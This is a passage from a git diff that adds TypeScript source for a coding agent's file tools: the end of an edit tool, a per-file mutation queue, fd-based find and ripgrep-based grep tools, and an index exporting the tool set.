block(s) in ${path}.`, + }, + ], + details: { diff: "", patch: "" }, + }; + } + if (normalizedError.message.includes(EDIT_MISMATCH_MESSAGE)) { + throw appendMismatchHint(normalizedError, currentContent); + } + throw normalizedError; + } + }); + }, + renderCall(args, theme, context) { + const component = getEditCallRenderComponent(context.state, context.lastComponent); + const previewInput = getRenderablePreviewInput(args as RenderableEditArgs | undefined); + const argsKey = previewInput + ? JSON.stringify({ path: previewInput.path, edits: previewInput.edits }) + : undefined; + + if (component.previewArgsKey !== argsKey) { + component.preview = undefined; + component.previewArgsKey = argsKey; + component.previewPending = false; + component.settledError = false; + } + + if (context.argsComplete && previewInput && !component.preview && !component.previewPending) { + component.previewPending = true; + const requestKey = argsKey; + void computeEditsDiff(previewInput.path, previewInput.edits, context.cwd, ops).then( + (preview) => { + if (component.previewArgsKey === requestKey) { + setEditPreview(component, preview, requestKey); + context.invalidate(); + } + }, + ); + } + + return buildEditCallComponent(component, args, theme); + }, + renderResult(result, options, theme, context) { + void options; + const callComponent = context.state.callComponent; + const previewInput = getRenderablePreviewInput( + context.args as RenderableEditArgs | undefined, + ); + const argsKey = previewInput + ? JSON.stringify({ path: previewInput.path, edits: previewInput.edits }) + : undefined; + const typedResult = result as EditToolResultLike; + const resultDiff = !context.isError ? typedResult.details?.diff : undefined; + let changed = false; + if (callComponent) { + if (typeof resultDiff === "string") { + changed = + setEditPreview( + callComponent, + { diff: resultDiff, firstChangedLine: typedResult.details?.firstChangedLine }, + argsKey, + ) || changed; + } + if (callComponent.settledError !== context.isError) { + callComponent.settledError = context.isError; + changed = true; + } + if (changed) { + buildEditCallComponent( + callComponent, + context.args as RenderableEditArgs | undefined, + theme, + ); + } + } + + const output = formatEditResult( + context.args, + callComponent?.preview, + typedResult, + theme, + context.isError, + ); + const component = (context.lastComponent as Container | undefined) ?? new Container(); + component.clear(); + if (!output) { + return component; + } + component.addChild(new Spacer(1)); + component.addChild(new Text(output, 1, 0)); + return component; + }, + }; +} + +export function createEditTool( + cwd: string, + options?: EditToolOptions, +): AgentTool { + return wrapToolDefinition(createEditToolDefinition(cwd, options)); +} diff --git a/src/agents/sessions/tools/file-mutation-queue.ts b/src/agents/sessions/tools/file-mutation-queue.ts new file mode 100644 index 00000000000..4eba8eb0766 --- /dev/null +++ b/src/agents/sessions/tools/file-mutation-queue.ts @@ -0,0 +1,39 @@ +import { realpathSync } from "node:fs"; +import { resolve } from "node:path"; + +const fileMutationQueues = new Map>(); + +function getMutationQueueKey(filePath: string): string { + const resolvedPath = resolve(filePath); + try { + return realpathSync.native(resolvedPath); + } catch { + return resolvedPath; + } +} + +/** + * Serialize file mutation operations targeting the same file. + * Operations for different files still run in parallel. + */ +export async function withFileMutationQueue(filePath: string, fn: () => Promise): Promise { + const key = getMutationQueueKey(filePath); + const currentQueue = fileMutationQueues.get(key) ?? Promise.resolve(); + + let releaseNext!: () => void; + const nextQueue = new Promise((resolveQueue) => { + releaseNext = resolveQueue; + }); + const chainedQueue = currentQueue.then(() => nextQueue); + fileMutationQueues.set(key, chainedQueue); + + await currentQueue; + try { + return await fn(); + } finally { + releaseNext(); + if (fileMutationQueues.get(key) === chainedQueue) { + fileMutationQueues.delete(key); + } + } +} diff --git a/src/agents/sessions/tools/find.ts b/src/agents/sessions/tools/find.ts new file mode 100644 index 00000000000..f888df173d8 --- /dev/null +++ b/src/agents/sessions/tools/find.ts @@ -0,0 +1,389 @@ +import { spawn } from "node:child_process"; +import { existsSync } from "node:fs"; +import path from "node:path"; +import { createInterface } from "node:readline"; +import { Text } from "@earendil-works/pi-tui"; +import { Type } from "typebox"; +import { keyHint } from "../../modes/interactive/components/keybinding-hints.js"; +import type { AgentTool } from "../../runtime/index.js"; +import { ensureTool } from "../../utils/tools-manager.js"; +import type { ToolDefinition, ToolRenderResultOptions } from "../extensions/types.js"; +import { resolveToCwd } from "./path-utils.js"; +import { getTextOutput, invalidArgText, shortenPath, str } from "./render-utils.js"; +import type { FindToolDetails } from "./tool-contracts.js"; +import { wrapToolDefinition } from "./tool-definition-wrapper.js"; +import { DEFAULT_MAX_BYTES, formatSize, truncateHead } from "./truncate.js"; + +function toPosixPath(value: string): string { + return value.split(path.sep).join("/"); +} + +const findSchema = Type.Object({ + pattern: Type.String({ + description: "Glob pattern to match files, e.g. '*.ts', '**/*.json', or 'src/**/*.spec.ts'", + }), + path: Type.Optional( + Type.String({ description: "Directory to search in (default: current directory)" }), + ), + limit: Type.Optional(Type.Number({ description: "Maximum number of results (default: 1000)" })), +}); +export type { FindToolDetails, FindToolInput } from "./tool-contracts.js"; + +const DEFAULT_LIMIT = 1000; + +/** + * Pluggable operations for the find tool. + * Override these to delegate file search to remote systems (for example SSH). + */ +export interface FindOperations { + /** Check if path exists */ + exists: (absolutePath: string) => Promise | boolean; + /** Find files matching glob pattern. Returns relative or absolute paths. */ + glob: ( + pattern: string, + cwd: string, + options: { ignore: string[]; limit: number }, + ) => Promise | string[]; +} + +const defaultFindOperations: FindOperations = { + exists: existsSync, + // This is a placeholder. Actual fd execution happens in execute() when no custom glob is provided. + glob: () => [], +}; + +export interface FindToolOptions { + /** Custom operations for find. Default: local filesystem plus fd */ + operations?: FindOperations; +} + +function formatFindCall( + args: { pattern: string; path?: string; limit?: number } | undefined, + theme: typeof import("../../modes/interactive/theme/theme.js").theme, +): string { + const pattern = str(args?.pattern); + const rawPath = str(args?.path); + const path = rawPath !== null ? shortenPath(rawPath || ".") : null; + const limit = args?.limit; + const invalidArg = invalidArgText(theme); + let text = + theme.fg("toolTitle", theme.bold("find")) + + " " + + (pattern === null ? invalidArg : theme.fg("accent", pattern || "")) + + theme.fg("toolOutput", ` in ${path === null ? invalidArg : path}`); + if (limit !== undefined) { + text += theme.fg("toolOutput", ` (limit ${limit})`); + } + return text; +} + +function formatFindResult( + result: { + content: Array<{ type: string; text?: string; data?: string; mimeType?: string }>; + details?: FindToolDetails; + }, + options: ToolRenderResultOptions, + theme: typeof import("../../modes/interactive/theme/theme.js").theme, + showImages: boolean, +): string { + const output = getTextOutput(result, showImages).trim(); + let text = ""; + if (output) { + const lines = output.split("\n"); + const maxLines = options.expanded ? lines.length : 20; + const displayLines = lines.slice(0, maxLines); + const remaining = lines.length - maxLines; + text += `\n${displayLines.map((line) => theme.fg("toolOutput", line)).join("\n")}`; + if (remaining > 0) { + text += `${theme.fg("muted", `\n... (${remaining} more lines,`)} ${keyHint("app.tools.expand", "to expand")})`; + } + } + + const resultLimit = result.details?.resultLimitReached; + const truncation = result.details?.truncation; + if (resultLimit || truncation?.truncated) { + const warnings: string[] = []; + if (resultLimit) { + warnings.push(`${resultLimit} results limit`); + } + if (truncation?.truncated) { + warnings.push(`${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit`); + } + text += `\n${theme.fg("warning", `[Truncated: ${warnings.join(", ")}]`)}`; + } + return text; +} + +export function createFindToolDefinition( + cwd: string, + options?: FindToolOptions, +): ToolDefinition { + const customOps = options?.operations; + return { + name: "find", + label: "find", + description: `Search for files by glob pattern. Returns matching file paths relative to the search directory. Respects .gitignore. Output is truncated to ${DEFAULT_LIMIT} results or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first).`, + promptSnippet: "Find files by glob pattern (respects .gitignore)", + parameters: findSchema, + async execute( + toolCallId, + { pattern, path: searchDir, limit }: { pattern: string; path?: string; limit?: number }, + signal?: AbortSignal, + onUpdate?, + ctx?, + ) { + void toolCallId; + void onUpdate; + void ctx; + return new Promise((resolve, reject) => { + if (signal?.aborted) { + reject(new Error("Operation aborted")); + return; + } + + let settled = false; + let stopChild: (() => void) | undefined; + const settle = (fn: () => void) => { + if (settled) { + return; + } + settled = true; + signal?.removeEventListener("abort", onAbort); + stopChild = undefined; + fn(); + }; + const onAbort = () => { + stopChild?.(); + settle(() => reject(new Error("Operation aborted"))); + }; + signal?.addEventListener("abort", onAbort, { once: true }); + + void (async () => { + try { + const searchPath = resolveToCwd(searchDir || ".", cwd); + const effectiveLimit = limit ?? DEFAULT_LIMIT; + const ops = customOps ?? defaultFindOperations; + + // If custom operations provide glob(), use that instead of fd. + if (customOps?.glob) { + if (!(await ops.exists(searchPath))) { + settle(() => reject(new Error(`Path not found: ${searchPath}`))); + return; + } + if (signal?.aborted) { + settle(() => reject(new Error("Operation aborted"))); + return; + } + const results = await ops.glob(pattern, searchPath, { + ignore: ["**/node_modules/**", "**/.git/**"], + limit: effectiveLimit, + }); + if (signal?.aborted) { + settle(() => reject(new Error("Operation aborted"))); + return; + } + if (results.length === 0) { + settle(() => + resolve({ + content: [{ type: "text", text: "No files found matching pattern" }], + details: undefined, + }), + ); + return; + } + + // Relativize paths against the search root for stable output. + const relativized = results.map((p) => { + if (p.startsWith(searchPath)) { + return toPosixPath(p.slice(searchPath.length + 1)); + } + return toPosixPath(path.relative(searchPath, p)); + }); + const resultLimitReached = relativized.length >= effectiveLimit; + const rawOutput = relativized.join("\n"); + const truncation = truncateHead(rawOutput, { maxLines: Number.MAX_SAFE_INTEGER }); + let resultOutput = truncation.content; + const details: FindToolDetails = {}; + const notices: string[] = []; + if (resultLimitReached) { + notices.push(`${effectiveLimit} results limit reached`); + details.resultLimitReached = effectiveLimit; + } + if (truncation.truncated) { + notices.push(`${formatSize(DEFAULT_MAX_BYTES)} limit reached`); + details.truncation = truncation; + } + if (notices.length > 0) { + resultOutput += `\n\n[${notices.join(". ")}]`; + } + settle(() => + resolve({ + content: [{ type: "text", text: resultOutput }], + details: Object.keys(details).length > 0 ? details : undefined, + }), + ); + return; + } + + // Default implementation uses fd. + const fdPath = await ensureTool("fd", true); + if (signal?.aborted) { + settle(() => reject(new Error("Operation aborted"))); + return; + } + if (!fdPath) { + settle(() => reject(new Error("fd is not available and could not be downloaded"))); + return; + } + + // Build fd arguments. --no-require-git makes fd apply hierarchical .gitignore + // semantics whether or not the search path is inside a git repository, without + // leaking sibling-directory rules the way --ignore-file (a global source) would. + const args: string[] = [ + "--glob", + "--color=never", + "--hidden", + "--no-require-git", + "--max-results", + String(effectiveLimit), + ]; + + // fd --glob matches against the basename unless --full-path is set; in --full-path + // mode it matches against the absolute candidate path, so a path-containing + // pattern like 'src/**/*.spec.ts' needs a leading '**/' to match anything. + let effectivePattern = pattern; + if (pattern.includes("/")) { + args.push("--full-path"); + if (!pattern.startsWith("/") && !pattern.startsWith("**/") && pattern !== "**") { + effectivePattern = `**/${pattern}`; + } + } + args.push("--", effectivePattern, searchPath); + + const child = spawn(fdPath, args, { stdio: ["ignore", "pipe", "pipe"] }); + const rl = createInterface({ input: child.stdout }); + let stderr = ""; + const lines: string[] = []; + + stopChild = () => { + if (!child.killed) { + child.kill(); + } + }; + + const cleanup = () => { + rl.close(); + }; + + child.stderr?.on("data", (chunk) => { + stderr += chunk.toString(); + }); + + rl.on("line", (line) => { + lines.push(line); + }); + + child.on("error", (error) => { + cleanup(); + settle(() => reject(new Error(`Failed to run fd: ${error.message}`))); + }); + + child.on("close", (code) => { + cleanup(); + if (signal?.aborted) { + settle(() => reject(new Error("Operation aborted"))); + return; + } + const output = lines.join("\n"); + if (code !== 0) { + const errorMsg = stderr.trim() || `fd exited with code ${code}`; + if (!output) { + settle(() => reject(new Error(errorMsg))); + return; + } + } + if (!output) { + settle(() => + resolve({ + content: [{ type: "text", text: "No files found matching pattern" }], + details: undefined, + }), + ); + return; + } + + const relativized: string[] = []; + for (const rawLine of lines) { + const line = rawLine.replace(/\r$/, "").trim(); + if (!line) { + continue; + } + const hadTrailingSlash = line.endsWith("/") || line.endsWith("\\"); + let relativePath = line; + if (line.startsWith(searchPath)) { + relativePath = line.slice(searchPath.length + 1); + } else { + relativePath = path.relative(searchPath, line); + } + if (hadTrailingSlash && !relativePath.endsWith("/")) { + relativePath += "/"; + } + relativized.push(toPosixPath(relativePath)); + } + + const resultLimitReached = relativized.length >= effectiveLimit; + const rawOutput = relativized.join("\n"); + const truncation = truncateHead(rawOutput, { maxLines: Number.MAX_SAFE_INTEGER }); + let resultOutput = truncation.content; + const details: FindToolDetails = {}; + const notices: string[] = []; + if (resultLimitReached) { + notices.push( + `${effectiveLimit} results limit reached. Use limit=${effectiveLimit * 2} for more, or refine pattern`, + ); + details.resultLimitReached = effectiveLimit; + } + if (truncation.truncated) { + notices.push(`${formatSize(DEFAULT_MAX_BYTES)} limit reached`); + details.truncation = truncation; + } + if (notices.length > 0) { + resultOutput += `\n\n[${notices.join(". ")}]`; + } + settle(() => + resolve({ + content: [{ type: "text", text: resultOutput }], + details: Object.keys(details).length > 0 ? details : undefined, + }), + ); + }); + } catch (e) { + if (signal?.aborted) { + settle(() => reject(new Error("Operation aborted"))); + return; + } + const error = e instanceof Error ? e : new Error(String(e)); + settle(() => reject(error)); + } + })(); + }); + }, + renderCall(args, theme, context) { + const text = (context.lastComponent as Text | undefined) ?? new Text("", 0, 0); + text.setText(formatFindCall(args, theme)); + return text; + }, + renderResult(result, options, theme, context) { + const text = (context.lastComponent as Text | undefined) ?? new Text("", 0, 0); + text.setText(formatFindResult(result, options, theme, context.showImages)); + return text; + }, + }; +} + +export function createFindTool( + cwd: string, + options?: FindToolOptions, +): AgentTool { + return wrapToolDefinition(createFindToolDefinition(cwd, options)); +} diff --git a/src/agents/sessions/tools/grep.ts b/src/agents/sessions/tools/grep.ts new file mode 100644 index 00000000000..3ac92bc8ab3 --- /dev/null +++ b/src/agents/sessions/tools/grep.ts @@ -0,0 +1,438 @@ +import { spawn } from "node:child_process"; +import { readFileSync, statSync } from "node:fs"; +import path from "node:path"; +import { createInterface } from "node:readline"; +import { Text } from "@earendil-works/pi-tui"; +import { Type } from "typebox"; +import { keyHint } from "../../modes/interactive/components/keybinding-hints.js"; +import type { AgentTool } from "../../runtime/index.js"; +import { ensureTool } from "../../utils/tools-manager.js"; +import type { ToolDefinition, ToolRenderResultOptions } from "../extensions/types.js"; +import { resolveToCwd } from "./path-utils.js"; +import { getTextOutput, invalidArgText, shortenPath, str } from "./render-utils.js"; +import type { GrepToolDetails } from "./tool-contracts.js"; +import { wrapToolDefinition } from "./tool-definition-wrapper.js"; +import { + DEFAULT_MAX_BYTES, + formatSize, + GREP_MAX_LINE_LENGTH, + truncateHead, + truncateLine, +} from "./truncate.js"; + +const grepSchema = Type.Object({ + pattern: Type.String({ description: "Search pattern (regex or literal string)" }), + path: Type.Optional( + Type.String({ description: "Directory or file to search (default: current directory)" }), + ), + glob: Type.Optional( + Type.String({ description: "Filter files by glob pattern, e.g. '*.ts' or '**/*.spec.ts'" }), + ), + ignoreCase: Type.Optional( + Type.Boolean({ description: "Case-insensitive search (default: false)" }), + ), + literal: Type.Optional( + Type.Boolean({ + description: "Treat pattern as literal string instead of regex (default: false)", + }), + ), + context: Type.Optional( + Type.Number({ + description: "Number of lines to show before and after each match (default: 0)", + }), + ), + limit: Type.Optional( + Type.Number({ description: "Maximum number of matches to return (default: 100)" }), + ), +}); +export type { GrepToolDetails, GrepToolInput } from "./tool-contracts.js"; +const DEFAULT_LIMIT = 100; + +/** + * Pluggable operations for the grep tool. + * Override these to delegate search to remote systems (for example SSH). + */ +export interface GrepOperations { + /** Check if path is a directory. Throws if path does not exist. */ + isDirectory: (absolutePath: string) => Promise | boolean; + /** Read file contents for context lines */ + readFile: (absolutePath: string) => Promise | string; +} + +const defaultGrepOperations: GrepOperations = { + isDirectory: (p) => statSync(p).isDirectory(), + readFile: (p) => readFileSync(p, "utf-8"), +}; + +export interface GrepToolOptions { + /** Custom operations for grep. Default: local filesystem plus ripgrep */ + operations?: GrepOperations; +} + +function formatGrepCall( + args: { pattern: string; path?: string; glob?: string; limit?: number } | undefined, + theme: typeof import("../../modes/interactive/theme/theme.js").theme, +): string { + const pattern = str(args?.pattern); + const rawPath = str(args?.path); + const path = rawPath !== null ? shortenPath(rawPath || ".") : null; + const glob = str(args?.glob); + const limit = args?.limit; + const invalidArg = invalidArgText(theme); + let text = + theme.fg("toolTitle", theme.bold("grep")) + + " " + + (pattern === null ? invalidArg : theme.fg("accent", `/${pattern || ""}/`)) + + theme.fg("toolOutput", ` in ${path === null ? invalidArg : path}`); + if (glob) { + text += theme.fg("toolOutput", ` (${glob})`); + } + if (limit !== undefined) { + text += theme.fg("toolOutput", ` limit ${limit}`); + } + return text; +} + +function formatGrepResult( + result: { + content: Array<{ type: string; text?: string; data?: string; mimeType?: string }>; + details?: GrepToolDetails; + }, + options: ToolRenderResultOptions, + theme: typeof import("../../modes/interactive/theme/theme.js").theme, + showImages: boolean, +): string { + const output = getTextOutput(result, showImages).trim(); + let text = ""; + if (output) { + const lines = output.split("\n"); + const maxLines = options.expanded ? lines.length : 15; + const displayLines = lines.slice(0, maxLines); + const remaining = lines.length - maxLines; + text += `\n${displayLines.map((line) => theme.fg("toolOutput", line)).join("\n")}`; + if (remaining > 0) { + text += `${theme.fg("muted", `\n... (${remaining} more lines,`)} ${keyHint("app.tools.expand", "to expand")})`; + } + } + + const matchLimit = result.details?.matchLimitReached; + const truncation = result.details?.truncation; + const linesTruncated = result.details?.linesTruncated; + if (matchLimit || truncation?.truncated || linesTruncated) { + const warnings: string[] = []; + if (matchLimit) { + warnings.push(`${matchLimit} matches limit`); + } + if (truncation?.truncated) { + warnings.push(`${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit`); + } + if (linesTruncated) { + warnings.push("some lines truncated"); + } + text += `\n${theme.fg("warning", `[Truncated: ${warnings.join(", ")}]`)}`; + } + return text; +} + +export function createGrepToolDefinition( + cwd: string, + options?: GrepToolOptions, +): ToolDefinition { + const customOps = options?.operations; + return { + name: "grep", + label: "grep", + description: `Search file contents for a pattern. Returns matching lines with file paths and line numbers. Respects .gitignore. Output is truncated to ${DEFAULT_LIMIT} matches or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). Long lines are truncated to ${GREP_MAX_LINE_LENGTH} chars.`, + promptSnippet: "Search file contents for patterns (respects .gitignore)", + parameters: grepSchema, + async execute( + toolCallId, + { + pattern, + path: searchDir, + glob, + ignoreCase, + literal, + context, + limit, + }: { + pattern: string; + path?: string; + glob?: string; + ignoreCase?: boolean; + literal?: boolean; + context?: number; + limit?: number; + }, + signal?: AbortSignal, + onUpdate?, + ctx?, + ) { + void toolCallId; + void onUpdate; + void ctx; + return new Promise((resolve, reject) => { + if (signal?.aborted) { + reject(new Error("Operation aborted")); + return; + } + let settled = false; + const settle = (fn: () => void) => { + if (!settled) { + settled = true; + fn(); + } + }; + + void (async () => { + try { + const rgPath = await ensureTool("rg", true); + if (!rgPath) { + settle(() => + reject(new Error("ripgrep (rg) is not available and could not be downloaded")), + ); + return; + } + + const searchPath = resolveToCwd(searchDir || ".", cwd); + const ops = customOps ?? defaultGrepOperations; + let isDirectory: boolean; + try { + isDirectory = await ops.isDirectory(searchPath); + } catch { + settle(() => reject(new Error(`Path not found: ${searchPath}`))); + return; + } + + const contextValue = context && context > 0 ? context : 0; + const effectiveLimit = Math.max(1, limit ?? DEFAULT_LIMIT); + const formatPath = (filePath: string): string => { + if (isDirectory) { + const relative = path.relative(searchPath, filePath); + if (relative && !relative.startsWith("..")) { + return relative.replace(/\\/g, "/"); + } + } + return path.basename(filePath); + }; + + const fileCache = new Map(); + const getFileLines = async (filePath: string): Promise => { + let lines = fileCache.get(filePath); + if (!lines) { + try { + const content = await ops.readFile(filePath); + lines = content.replace(/\r\n/g, "\n").replace(/\r/g, "\n").split("\n"); + } catch { + lines = []; + } + fileCache.set(filePath, lines); + } + return lines; + }; + + const args: string[] = ["--json", "--line-number", "--color=never", "--hidden"]; + if (ignoreCase) { + args.push("--ignore-case"); + } + if (literal) { + args.push("--fixed-strings"); + } + if (glob) { + args.push("--glob", glob); + } + args.push("--", pattern, searchPath); + + const child = spawn(rgPath, args, { stdio: ["ignore", "pipe", "pipe"] }); + const rl = createInterface({ input: child.stdout }); + let stderr = ""; + let matchCount = 0; + let matchLimitReached = false; + let linesTruncated = false; + let aborted = false; + let killedDueToLimit = false; + const outputLines: string[] = []; + + const cleanup = () => { + rl.close(); + signal?.removeEventListener("abort", onAbort); + }; + const stopChild = (dueToLimit = false) => { + if (!child.killed) { + killedDueToLimit = dueToLimit; + child.kill(); + } + }; + const onAbort = () => { + aborted = true; + stopChild(); + }; + signal?.addEventListener("abort", onAbort, { once: true }); + child.stderr?.on("data", (chunk) => { + stderr += chunk.toString(); + }); + + const formatBlock = async (filePath: string, lineNumber: number): Promise => { + const relativePath = formatPath(filePath); + const lines = await getFileLines(filePath); + if (!lines.length) { + return [`${relativePath}:${lineNumber}: (unable to read file)`]; + } + const block: string[] = []; + const start = contextValue > 0 ? Math.max(1, lineNumber - contextValue) : lineNumber; + const end = + contextValue > 0 ? Math.min(lines.length, lineNumber + contextValue) : lineNumber; + for (let current = start; current <= end; current++) { + const lineText = lines[current - 1] ?? ""; + const sanitized = lineText.replace(/\r/g, ""); + const isMatchLine = current === lineNumber; + // Truncate long lines so grep output stays compact. + const { text: truncatedText, wasTruncated } = truncateLine(sanitized); + if (wasTruncated) { + linesTruncated = true; + } + if (isMatchLine) { + block.push(`${relativePath}:${current}: ${truncatedText}`); + } else { + block.push(`${relativePath}-${current}- ${truncatedText}`); + } + } + return block; + }; + + // Collect matches during streaming, then format them after rg exits. + const matches: Array<{ filePath: string; lineNumber: number; lineText?: string }> = []; + rl.on("line", (line) => { + if (!line.trim() || matchCount >= effectiveLimit) { + return; + } + let event: { + type?: string; + data?: { + path?: { text?: string }; + line_number?: unknown; + lines?: { text?: string }; + }; + }; + try { + event = JSON.parse(line); + } catch { + return; + } + if (event.type === "match") { + matchCount++; + const filePath = event.data?.path?.text; + const lineNumber = event.data?.line_number; + const lineText = event.data?.lines?.text; + if (filePath && typeof lineNumber === "number") { + matches.push({ filePath, lineNumber, lineText }); + } + if (matchCount >= effectiveLimit) { + matchLimitReached = true; + stopChild(true); + } + } + }); + + child.on("error", (error) => { + cleanup(); + settle(() => reject(new Error(`Failed to run ripgrep: ${error.message}`))); + }); + child.on("close", async (code) => { + cleanup(); + if (aborted) { + settle(() => reject(new Error("Operation aborted"))); + return; + } + if (!killedDueToLimit && code !== 0 && code !== 1) { + const errorMsg = stderr.trim() || `ripgrep exited with code ${code}`; + settle(() => reject(new Error(errorMsg))); + return; + } + if (matchCount === 0) { + settle(() => + resolve({ + content: [{ type: "text", text: "No matches found" }], + details: undefined, + }), + ); + return; + } + + // Format matches after streaming finishes so custom readFile() backends can be async. + for (const match of matches) { + if (contextValue === 0 && match.lineText !== undefined) { + const relativePath = formatPath(match.filePath); + const sanitized = match.lineText + .replace(/\r\n/g, "\n") + .replace(/\r/g, "") + .replace(/\n$/, ""); + const { text: truncatedText, wasTruncated } = truncateLine(sanitized); + if (wasTruncated) { + linesTruncated = true; + } + outputLines.push(`${relativePath}:${match.lineNumber}: ${truncatedText}`); + } else { + const block = await formatBlock(match.filePath, match.lineNumber); + outputLines.push(...block); + } + } + + const rawOutput = outputLines.join("\n"); + // Apply byte truncation. There is no line limit here because the match limit already capped rows. + const truncation = truncateHead(rawOutput, { maxLines: Number.MAX_SAFE_INTEGER }); + let output = truncation.content; + const details: GrepToolDetails = {}; + // Build actionable notices for truncation and match limits. + const notices: string[] = []; + if (matchLimitReached) { + notices.push( + `${effectiveLimit} matches limit reached. Use limit=${effectiveLimit * 2} for more, or refine pattern`, + ); + details.matchLimitReached = effectiveLimit; + } + if (truncation.truncated) { + notices.push(`${formatSize(DEFAULT_MAX_BYTES)} limit reached`); + details.truncation = truncation; + } + if (linesTruncated) { + notices.push( + `Some lines truncated to ${GREP_MAX_LINE_LENGTH} chars. Use read tool to see full lines`, + ); + details.linesTruncated = true; + } + if (notices.length > 0) { + output += `\n\n[${notices.join(". ")}]`; + } + settle(() => + resolve({ + content: [{ type: "text", text: output }], + details: Object.keys(details).length > 0 ? details : undefined, + }), + ); + }); + } catch (err) { + settle(() => reject(err as Error)); + } + })(); + }); + }, + renderCall(args, theme, context) { + const text = (context.lastComponent as Text | undefined) ?? new Text("", 0, 0); + text.setText(formatGrepCall(args, theme)); + return text; + }, + renderResult(result, options, theme, context) { + const text = (context.lastComponent as Text | undefined) ?? new Text("", 0, 0); + text.setText(formatGrepResult(result, options, theme, context.showImages)); + return text; + }, + }; +} + +export function createGrepTool( + cwd: string, + options?: GrepToolOptions, +): AgentTool { + return wrapToolDefinition(createGrepToolDefinition(cwd, options)); +} diff --git a/src/agents/sessions/tools/index.ts b/src/agents/sessions/tools/index.ts new file mode 100644 index 00000000000..b23fb6f1891 --- /dev/null +++ b/src/agents/sessions/tools/index.ts @@ -0,0 +1,213 @@ +export { + type BashSpawnContext, + type BashSpawnHook, + type BashToolOptions, + createBashTool, + createBashToolDefinition, + createLocalBashOperations, +} from "./bash.js"; +export type { BashOperations } from "./bash-operations.js"; +export type { + BashToolDetails, + BashToolInput, + EditToolDetails, + EditToolInput, + FindToolDetails, + FindToolInput, + GrepToolDetails, + GrepToolInput, + LsToolDetails, + LsToolInput, + ReadToolDetails, + ReadToolInput, + WriteToolInput, +} from "./tool-contracts.js"; +export { + createEditTool, + createEditToolDefinition, + type EditOperations, + type EditToolOptions, +} from "./edit.js"; +export { withFileMutationQueue } from "./file-mutation-queue.js"; +export { + createFindTool, + createFindToolDefinition, + type FindOperations, + type FindToolOptions, +} from "./find.js"; +export { + createGrepTool, + createGrepToolDefinition, + type GrepOperations, + type GrepToolOptions, +} from "./grep.js"; +export { + createLsTool, + createLsToolDefinition, + type LsOperations, + type LsToolOptions, +} from "./ls.js"; +export { + createReadTool, + createReadToolDefinition, + type ReadOperations, + type ReadToolOptions, +} from "./read.js"; +export { + DEFAULT_MAX_BYTES, + DEFAULT_MAX_LINES, + formatSize, + type TruncationOptions, + type TruncationResult, + truncateHead, + truncateLine, + truncateTail, +} from "./truncate.js"; +export { + createWriteTool, + createWriteToolDefinition, + type WriteOperations, + type WriteToolOptions, +} from "./write.js"; + +import type { AgentTool } from "../../runtime/index.js"; +import type { ToolDefinition } from "../extensions/types.js"; +import { type BashToolOptions, createBashTool, createBashToolDefinition } from "./bash.js"; +import { createEditTool, createEditToolDefinition, type EditToolOptions } from "./edit.js"; +import { createFindTool, createFindToolDefinition, type FindToolOptions } from "./find.js"; +import { createGrepTool, createGrepToolDefinition, type GrepToolOptions } from "./grep.js"; +import { createLsTool, createLsToolDefinition, type LsToolOptions } from "./ls.js"; +import { createReadTool, createReadToolDefinition, type ReadToolOptions } from "./read.js"; +import { createWriteTool, createWriteToolDefinition, type WriteToolOptions } from "./write.js"; + +export type Tool = AgentTool; +export type ToolDef = ToolDefinition; +export type ToolName = "read" | "bash" | "edit" | "write" | "grep" | "find" | "ls"; +export const allToolNames: Set = new Set([ + "read", + "bash", + "edit", + "write", + "grep", + "find", + "ls", +]); + +export interface ToolsOptions { + read?: ReadToolOptions; + bash?: BashToolOptions; + write?: WriteToolOptions; + edit?: EditToolOptions; + grep?: GrepToolOptions; + find?: FindToolOptions; + ls?: LsToolOptions; +} + +export function createToolDefinition( + toolName: ToolName, + cwd: string, + options?: ToolsOptions, +): ToolDef { + switch (toolName) { + case "read": + return createReadToolDefinition(cwd, options?.read); + case "bash": + return createBashToolDefinition(cwd, options?.bash); + case "edit": + return createEditToolDefinition(cwd, options?.edit); + case "write": + return createWriteToolDefinition(cwd, options?.write); + case "grep": + return createGrepToolDefinition(cwd, options?.grep); + case "find": + return createFindToolDefinition(cwd, options?.find); + case "ls": + return createLsToolDefinition(cwd, options?.ls); + default: + throw new Error(`Unknown tool name: ${String(toolName)}`); + } +} + +export function createTool(toolName: ToolName, cwd: string, options?: ToolsOptions): Tool { + switch (toolName) { + case "read": + return createReadTool(cwd, options?.read); + case "bash": + return createBashTool(cwd, options?.bash); + case "edit": + return createEditTool(cwd, options?.edit); + case "write": + return createWriteTool(cwd, options?.write); + case "grep": + return createGrepTool(cwd, options?.grep); + case "find": + return createFindTool(cwd, options?.find); + case "ls": + return createLsTool(cwd, options?.ls); + default: + throw new Error(`Unknown tool name: ${String(toolName)}`); + } +} + +export function createCodingToolDefinitions(cwd: string, options?: ToolsOptions): ToolDef[] { + return [ + createReadToolDefinition(cwd, options?.read), + createBashToolDefinition(cwd, options?.bash), + createEditToolDefinition(cwd, options?.edit), + createWriteToolDefinition(cwd, options?.write), + ]; +} + +export function createReadOnlyToolDefinitions(cwd: string, options?: ToolsOptions): ToolDef[] { + return [ + createReadToolDefinition(cwd, options?.read), + createGrepToolDefinition(cwd, options?.grep), + createFindToolDefinition(cwd, options?.find), + createLsToolDefinition(cwd, options?.ls), + ]; +} + +export function createAllToolDefinitions( + cwd: string, + options?: ToolsOptions, +): Record { + return { + read: createReadToolDefinition(cwd, options?.read), + bash: createBashToolDefinition(cwd, options?.bash), + edit: createEditToolDefinition(cwd, options?.edit), + write: createWriteToolDefinition(cwd, options?.write), + grep: createGrepToolDefinition(cwd, options?.grep), + find: createFindToolDefinition(cwd, options?.find), + ls: createLsToolDefinition(cwd, options?.ls), + }; +} + +export function createCodingTools(cwd: string, options?: ToolsOptions): Tool[] { + return [ + createReadTool(cwd, options?.read), + createBashTool(cwd, options?.bash), + createEditTool(cwd, options?.edit), + createWriteTool(cwd, options?.write), + ]; +} + +export function createReadOnlyTools(cwd: string, options?: ToolsOptions): Tool[] { + return [ + createReadTool(cwd, options?.read), + createGrepTool(cwd, options?.grep), + createFindTool(cwd, options?.find), + createLsTool(cwd, options?.ls), + ]; +} + +export function createAllTools(cwd: string, options?: ToolsOptions): Record { + return { + read: createReadTool(cwd, options?.read), + bash: createBashTool(cwd, options?.bash), + edit: createEditTool(cwd, options?.edit), + write: createWriteTool(cwd, options?.write), + grep: createGrepTool(cwd, options?.grep), + find: createFindTool(cwd, options?.find), + 